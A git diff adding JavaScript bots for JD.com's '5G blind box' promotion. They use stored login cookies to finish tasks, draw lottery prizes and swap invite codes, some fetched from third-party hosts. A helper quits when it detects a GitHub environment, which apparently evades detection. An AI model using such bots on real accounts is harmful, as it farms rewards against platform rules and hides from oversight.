this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_mohe.js b/jd_mohe.js new file mode 100644 index 0000000..4d80437 --- /dev/null +++ b/jd_mohe.js @@ -0,0 +1,537 @@ +/* +5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值 +活动地址: https://blindbox5g.jd.com +活动时间:2021-06-2到2021-07-31 +更新时间:2021-06-3 12:00 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#5G超级盲盒 +0 0,1-23/3 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 0,1-23/3 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js,tag=5G超级盲盒 + +===================================Surge================================ +5G超级盲盒 = type=cron,cronexp="0 0,1-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js + +====================================小火箭============================= +5G超级盲盒 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_mohe.js, cronexpr="0 0,1-23/3 * * *", timeout=3600, enable=true + */ +const $ = new Env('5G超级盲盒'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/api'; +//邀请码一天一变化,已确定 +$.shareId = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,3小时运行一次收集热力值\n' + + '活动地址: https://blindbox5g.jd.com\n' + + '活动时间:2021-8-2到2021-10-29\n' + + '更新时间:2021-8-8 19:00'); +// $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_shareCodes.json'}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); +// await $.wait(1000) + await updateShareCodesCDN('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_shareCodes.json') + await $.wait(1000) + await getShareCode() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareUrl(); + await getCoin();//领取每三小时自动生产的热力值 + await Promise.all([ + task0() + ]) + $.taskList_limit = 0 + await taskList(); + await getAward();//抽奖 + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage, {"open-url": "https://blindbox5g.jd.com"}) + } + $.shareId = [...($.shareId || []), ...($.updatePkActivityIdRes || []), ...($.zero205Code || [])]; + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n\n自己账号内部互助`); + for (let item of $.shareId) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`) + const res = await addShare(item); + if (res && res['code'] === 2005) { + console.log(`次数已用完,跳出助力`) + break + } else if (res && res['code'] === 1002) { + console.log(`账号火爆,跳出助力`) + break + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function task0() { + const confRes = await conf(); + if (confRes.code === 200) { + const { brandList, skuList } = confRes.data; + if (skuList && skuList.length > 0) { + for (let item of skuList) { + if (item.state === 0) { + let homeGoBrowseRes = await homeGoBrowse(0, item.id); + console.log('商品', homeGoBrowseRes); + await $.wait(1000); + const taskHomeCoin0Res = await taskHomeCoin(0, item.id); + console.log('商品领取金币', taskHomeCoin0Res); + // if (homeGoBrowseRes.code === 200) { + // await $.wait(1000); + // await taskHomeCoin(0, item.id); + // } + } else { + console.log('精选好物任务已完成') + } + } + } + } +} +function addShare(shareId) { + return new Promise((resolve) => { + const body = {"shareId":shareId,"apiMapping":"/active/addShare"} + $.post(taskurl(body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data['code'] === 200) { + console.log(`助力好友【${data.data}】成功\n`); + } else { + console.log(`助力失败:${data.msg}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function conf() { + return new Promise((resolve) => { + const body = {"apiMapping":"/active/conf"}; + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function homeGoBrowse(type, id) { + return new Promise((resolve) => { + const body = {"type":type,"id":id,"apiMapping":"/active/homeGoBrowse"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskHomeCoin(type, id) { + return new Promise((resolve) => { + const body = {"type":type,"id":id,"apiMapping":"/active/taskHomeCoin"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getCoin() { + return new Promise((resolve) => { + const body = {"apiMapping":"/active/getCoin"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.code === 1001) { + console.log(data.msg); + $.msg($.name, '领取失败', `${data.msg}`); + $.done(); + } else { + console.log(`成功领取${data.data}热力值`) + resolve(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +async function taskList() { + $.taskList_limit++ + return new Promise(async (resolve) => { + const body = {"apiMapping":"/active/taskList"} + $.post(taskurl(body), async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.code === 200) { + const { task8, task4, task1, task2, task5 } = data.data; + //浏览商品 + if (task4.finishNum < task4.totalNum) { + await browseProduct(task4.skuId); + await $.wait(2000) + await taskCoin(task4.type); + await $.wait(2000) + } + //浏览会场 + if (task1.finishNum < task1.totalNum) { + await strollActive((task1.finishNum + 1)); + await $.wait(2000) + await taskCoin(task1.type); + await $.wait(2000) + } + //关注或浏览店铺 + if (task2.finishNum < task2.totalNum) { + await followShop(task2.shopId); + await $.wait(2000) + await taskCoin(task2.type); + await $.wait(2000) + } + // if (task5.finishNum < task5.totalNum) { + // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + // } else { + // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + // } + if (task4.state === 2 && task1.state === 2 && task2.state === 2) { + console.log('\n\n----taskList的任务全部做完了---\n\n') + console.log(`分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + } else { + if ($.taskList_limit >= 15){ + console.log('触发死循环保护,结束') + } else { + console.log(`请继续等待,正在做任务,不要退出哦`) + await taskList(); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//浏览商品 +function browseProduct(skuId) { + return new Promise((resolve) => { + const body = {"skuId":skuId,"apiMapping":"/active/browseProduct"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +// 浏览会场 +function strollActive(index) { + return new Promise((resolve) => { + const body = {"activeId":index,"apiMapping":"/active/strollActive"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//关注或浏览店铺 +function followShop(shopId) { + return new Promise((resolve) => { + const body = {"shopId":shopId,"apiMapping":"/active/followShop"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取任务奖励 +function taskCoin(type) { + return new Promise((resolve) => { + const body = {"type":type,"apiMapping":"/active/taskCoin"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +async function getAward() { + const coinRes = await coin(); + if (coinRes.code === 200) { + const { total, need } = coinRes.data; + if (total > need) { + const times = Math.floor(total / need); + for (let i = 0; i < times; i++) { + await $.wait(2000); + let lotteryRes = await lottery(); + if (lotteryRes.code === 200) { + console.log(`====抽奖结果====,${JSON.stringify(lotteryRes.data)}`); + console.log(lotteryRes.data.name); + console.log(lotteryRes.data.beanNum); + if (lotteryRes.data['prizeId'] && (lotteryRes.data['type'] !== '99' && lotteryRes.data['type'] !== '3' && lotteryRes.data['type'] !== '8' && lotteryRes.data['type'] !== '9')) { + message += `抽奖获得:${lotteryRes.data.name}\n`; + } + } else if (lotteryRes.code === 4001) { + console.log(`抽奖失败,${lotteryRes.msg}`); + break; + } + } + if (message) allMessage += `京东账号${$.index} ${$.nickName}\n${message}抽奖详情查看 https://blindbox5g.jd.com/#/myPrize${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`目前热力值${total},不够抽奖`) + } + } +} +//获取有多少热力值 +function coin() { + return new Promise((resolve) => { + const body = {"apiMapping":"/active/coin"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//抽奖API +function lottery() { + return new Promise((resolve) => { + const body = {"apiMapping":"/prize/lottery"} + $.post(taskurl(body), (err, resp, data) => { + try { + data = JSON.parse(data); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shareUrl() { + return new Promise((resolve) => { + const body = {"apiMapping":"/active/shareUrl"} + $.post(taskurl(body), async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data['code'] === 5000) { + console.log(`尝试多次运行脚本即可获取好友邀请码`) + } + if (data['code'] === 200) { + if (data['data']) $.shareId.push(data['data']); + console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`); + console.log(`此邀请码一天一变化,旧的不可用`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskurl(body = {}) { + return { + 'url': `${JD_API_HOST}?appid=blind-box&functionId=blindbox_prod&body=${JSON.stringify(body)}&t=${Date.now()}&loginType=2`, + 'headers': { + "accept": "application/json, text/plain, */*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-cn", + "content-type": "application/x-www-form-urlencoded", + 'origin': 'https://blindbox5g.jd.com', + "cookie": cookie, + "referer": "https://blindbox5g.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function updateShareCodesCDN(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getShareCode() { + return new Promise(resolve => { + $.get({ + url: "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jd_mohe.json", + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + "timeout": 10000 + }, async (err, resp, data) => { + try { + if (err) { + } else { + $.zero205Code = JSON.parse(data) || [] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mohe_help.js b/jd_mohe_help.js new file mode 100644 index 0000000..ab1b33e --- /dev/null +++ b/jd_mohe_help.js @@ -0,0 +1,169 @@ +/* +5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值 +活动地址: https://blindbox5g.jd.com +活动时间:2021年11月1日00:00:00-2022年1月28日23:59:59 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#5G超级盲盒 +5 0,19 * * * https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "5 0,19 * * *" script-path=https://raw.githubusercontent.com/okyyds/yydspure/master/jd_mohe_help.js,tag=5G超级盲盒 + +===================================Surge================================ +5G超级盲盒 = type=cron,cronexp="5 0,19 * * 